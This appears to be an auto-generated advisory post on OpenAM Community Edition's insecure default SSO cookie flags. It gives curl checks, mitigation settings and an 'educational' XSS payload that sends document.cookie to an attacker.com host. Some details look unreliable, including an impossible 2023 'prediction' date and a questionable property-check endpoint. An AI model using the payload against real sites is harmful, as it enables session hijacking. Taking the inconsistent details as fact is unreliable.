Listen to this Post
This vulnerability resides in the default configuration of OpenAM Community Edition. The core issue is an Insecure Default Initialization of Resource, identified as CWE-1188. Specifically, the OpenAM default setup ships the `iPlanetDirectoryPro` Single Sign-On (SSO) cookie with the `HttpOnly` flag set to false. This flag, when enabled, prevents client-side scripts from accessing the cookie, serving as a critical defense against cross-site scripting (XSS) attacks. By leaving this flag disabled by default, the application exposes the SSO session cookie to potential theft via JavaScript.
Furthermore, the vulnerability is exacerbated because the same `iPlanetDirectoryPro` cookie is reused as a CSRF token within OAuth and OIDC consent flows. This dual-purpose usage creates a dangerous synergy. An attacker who can execute a same-origin XSS attack on the OpenAM origin can not only steal the user’s SSO session cookie but also leverage that same cookie to complete attacker-driven OAuth consent grants in a single step. The missing `SameSite` attribute on the cookie by default also broadens the CSRF attack surface. This combination of factors means a single click on a malicious link, when chained with an XSS vulnerability, can lead to full session theft and unauthorized OAuth consent. The vulnerability affects all OpenAM Community Edition versions up to and including 16.0.6 and was patched in version 16.1.1.
DailyCVE Form:
Platform: OpenAM Community Edition
Version: <= 16.0.6
Vulnerability: Insecure Defaults (CWE-1188)
Severity: Medium
date: 2026-08-14
Prediction: 2023-04-15
What Undercode Say:
This section provides analytical commands and code snippets to understand the vulnerability.
Check Current Cookie Attributes:
To verify if the `iPlanetDirectoryPro` cookie is vulnerable, an administrator can use `curl` to inspect the `Set-Cookie` header from an OpenAM login response.
curl -I -X POST "https://openam.example.com:8443/openam/json/realms/root/authenticate" \
-H "Content-Type: application/json" \
-d '{"username":"amAdmin","password":"password"}'
The output will show the `Set-Cookie` header. A vulnerable configuration will lack the `HttpOnly` and `SameSite` attributes.
Set-Cookie: iPlanetDirectoryPro=AQIC5w...; Path=/; Domain=.example.com; Secure
Verify Configuration Property:
The default setting for the `HttpOnly` flag can be checked by examining the system property.
curl -s "https://openam.example.com:8443/openam/console/jato/auth/checkProperty?property=com.sun.identity.cookie.httponly"
A response of `false` indicates the default vulnerable state.
Exploit: (Educational Purposes!)
The exploitation of this vulnerability is chained with an XSS flaw. An attacker can execute a script like the one below on the same OpenAM origin. This script will exfiltrate the SSO cookie to an attacker-controlled server.
<script> // XSS payload to steal the iPlanetDirectoryPro cookie var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + document.cookie; </script>
Because the `HttpOnly` flag is false, `document.cookie` will contain the `iPlanetDirectoryPro` cookie value, allowing the attacker to hijack the user’s session. The same cookie can then be used in an OAuth consent flow initiated by the attacker, granting unauthorized access to resources.
Protection:
The primary protection is to upgrade to OpenAM Community Edition version 16.1.1 or later. If an immediate upgrade is not possible, the following workarounds can be applied:
1. Enable `HttpOnly` Flag: Set the system property `com.sun.identity.cookie.httponly` to true.
Add to OpenAM startup script or JVM options -Dcom.sun.identity.cookie.httponly=true
2. Configure `SameSite` Attribute: Set the `SameSite` attribute to `Strict` or `Lax` to mitigate CSRF risks. Note that this property might not be effective in all versions.
Add to OpenAM startup script or JVM options -Dorg.openidentityplatform.openam.cookie.samesite=Strict
3. Change Default Cookie Name: Change the default cookie name from `iPlanetDirectoryPro` to a custom value.
Add to OpenAM startup script or JVM options -Dcom.iplanet.am.cookie.name=customSSOCookie
Impact
A successful exploit allows an attacker to completely compromise a user’s SSO session with a single click. The impact is severe as it grants the attacker the ability to:
– Impersonate the victim across all applications relying on the OpenAM SSO.
– Perform actions and access data within the victim’s authenticated context.
– Complete OAuth/OIDC consent grants, potentially granting the attacker’s application unauthorized access to the victim’s resources in connected services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
